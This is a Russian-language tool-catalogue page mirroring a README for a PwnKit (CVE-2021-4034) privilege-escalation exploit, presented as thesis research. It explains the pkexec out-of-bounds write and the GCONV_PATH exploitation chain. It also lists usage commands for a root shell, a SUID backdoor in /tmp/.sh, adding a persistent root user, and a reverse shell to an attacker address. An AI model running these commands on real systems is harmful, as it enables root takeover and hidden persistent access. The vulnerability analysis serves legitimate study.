Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-4034 — Исследование в рамках магистерской диссертации по локальному повышению привилегий CVE-2021-4034 (PwnKit). Многополезный Python-эксплойт с 7 режимами, включая интерактивную оболочку, бэкдор с SUID, обратную оболочку и создание пользователя root. Включает анализ первопричины и документацию цепочки эксплуатации. | Kitploit
Инструменты/GitHubGitHub/devianntsec/cve-2021-4034
Повышение привилегийКриминалистика памятиАнализ уязвимостейЭксплуатацияПост-эксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

Исследование в рамках магистерской диссертации по локальному повышению привилегий CVE-2021-4034 (PwnKit). Многополезный Python-эксплойт с 7 режимами, включая интерактивную оболочку, бэкдор с SUID, обратную оболочку и создание пользователя root. Включает анализ первопричины и документацию цепочки эксплуатации.

Эксплуатация Бинарных Файлов
GitHubdevianntsec/cve-2021-4034

CVE-2021-4034

Репозиторий
1536 месяцев назадЕщё не проверено
Поделиться

CVE-2021-4034 — PwnKit: локальное повышение привилегий · Исследование магистерской диссертации

Platform Language License: MIT Research CVSS

Уязвимость повреждения памяти в утилите pkexec из polkit
Локальное повышение привилегий → root через запись за пределами буфера
Затрагивает: polkit 0.105-31 и более ранние · Исправление: polkit 0.105-33 (январь 2022)


Интерактивная root-оболочка, полученная через CVE-2021-4034 - PwnKit

Описание

Этот репозиторий содержит моё исследование магистерской диссертации по CVE-2021-4034, уязвимости локального повышения привилегий высокого уровня опасности (CVSS 7.8) в утилите pkexec из polkit, известной как PwnKit.

Уязвимость возникает из-за записи за пределами буфера в логике обработки аргументов pkexec. Когда pkexec запускается с пустым или специально сформированным argv, он читает и записывает за границы массива argv в массив envp, что позволяет непривилегированному локальному пользователю внедрить вредоносные переменные окружения, которые затем загружаются как общая библиотека для выполнения произвольного кода с привилегиями root.

Мой вклад

АспектОписание
Эксплойт с несколькими полезными нагрузкамиPython-обёртка с 6 режимами полезной нагрузки: shell, id, backdoor и reverse shell
Автоматическая настройка окруженияАвтоматическое создание GCONV_PATH и настройка gconv-modules
Модули пост-эксплуатацииSUID-бэкдор, создание пользователя root, выполнение произвольных команд
Академическая документацияАнализ первопричины, цепочка эксплуатации и хронология уязвимости

Структура репозитория

CVE-2021-4034/
├── README.md                        # Этот файл
├── LICENSE                          # Лицензия MIT
│
├── exploit/
│   └── pwnkit.py                    # Расширенный эксплойт с несколькими нагрузками
│
└── docs/
    ├── screenshots/                 # Демонстрации эксплуатации
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Анализ первопричины уязвимости
        ├── 02-exploitation-chain.md # Разбор цепочки эксплуатации
        └── 03-timeline.md           # Хронология CVE

Быстрый старт

Предварительные требования

  • Система Linux с уязвимой версией polkit (pkexec --version показывает 0.105 или более раннюю)
  • Компилятор GCC (apt install gcc)
  • Python 3.6+
  • Обычная учётная запись пользователя (root не требуется)
  • Для тестирования рекомендуется изолированная виртуальная машина

Использование

# Интерактивная root-оболочка (по умолчанию)
python3 exploit/pwnkit.py -p shell

# Проверка контекста выполнения
python3 exploit/pwnkit.py -p whoami

# Выполнение произвольной команды от root
python3 exploit/pwnkit.py -p custom -c "id"

# Создание SUID-бэкдора в /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid

# Добавление постоянного пользователя root
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword

# Обратный шелл
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

Справочник полезных нагрузок

Полезная нагрузкаОписаниеВывод
shellЗапускает интерактивный /bin/sh от rootИнтерактивная оболочка
idЗаписывает вывод id и whoami в /tmp/pwnkit_id.txtФайл
whoamiЗаписывает проверку UID/eUID в /tmp/pwnkit_root_testФайл
backdoor_suidСоздаёт SUID-копию bash root в /tmp/.shПостоянный бэкдор
add_root_userДобавляет пользователя в /etc/passwdПостоянный доступ
reverse_shellПодключается обратно к атакующему через PythonУдалённая оболочка
customВыполняет любую команду от rootstdout / файл

Технический обзор

Первопричина уязвимости

pkexec обрабатывает собственный argv для определения запускаемой программы. При вызове с argc == 0 (пустой вектор аргументов) проверка границ argv не выполняется должным образом. Последующее чтение за пределами обрабатывает envp[0] как argv[1], а запись за пределами обратно в envp позволяет атакующему заменить переменную окружения на сконструированный путь. Когда pkexec позднее вызывает g_printerr(), он загружает GCONV_PATH из теперь контролируемого атакующим окружения, загружая предоставленную атакующим общую библиотеку с привилегиями root.

argc == 0  →  argv[1] считывает envp[0]
             argv[1] = "GCONV_PATH=."  (запись обратно в envp)
             pkexec загружает ./pwnkit.so  (общая библиотека атакующего)
             gconv_init() выполняется от root

Цепочка эксплуатации

1. Создаём argv = { NULL }  →  argc = 0, вызывает выход за границы
2. Устанавливаем envp[0] = "pwnkit.so:."
3. Устанавливаем envp[1] = "PATH=GCONV_PATH=."
4. pkexec записывает "pwnkit.so:." за границы в envp[0] как если бы это был argv[1]
5. pkexec разрешает GCONV_PATH=. и загружает gconv-modules
6. gconv-modules отображает кодировку "PWNKIT" на pwnkit.so
7. pwnkit.so:gconv_init() вызывается с привилегиями root
8. Выполняется полезная нагрузка (shell / backdoor / reverse shell / и т.д.)

Ключевые технические детали

КомпонентЗначениеПримечания
Уязвимый бинарник/usr/bin/pkexecSUID root
Условие срабатыванияargc == 0Пустой argv
Примитив записиЗапись за границы в envpЧерез argv[argc-1]
Механизм загрузкиGCONV_PATH + gconv-modulesСтандартный glibc iconv
Контекст выполненияgconv_init() в общей библиотекеВыполняется с EUID 0
Затронутые версииpolkit ≤ 0.105-31Все основные дистрибутивы Linux

Демонстрации

Интерактивная root-оболочка

Интерактивная оболочка

Проверка ID

Полезная нагрузка ID

Проверка whoami

Полезная нагрузка whoami

SUID-бэкдор

Полезная нагрузка бэкдора

Добавление пользователя root

Добавление пользователя root

Обратный шелл

Обратный шелл

Произвольная команда

Произвольная команда


Эмпирическое тестирование

Скачать инструмент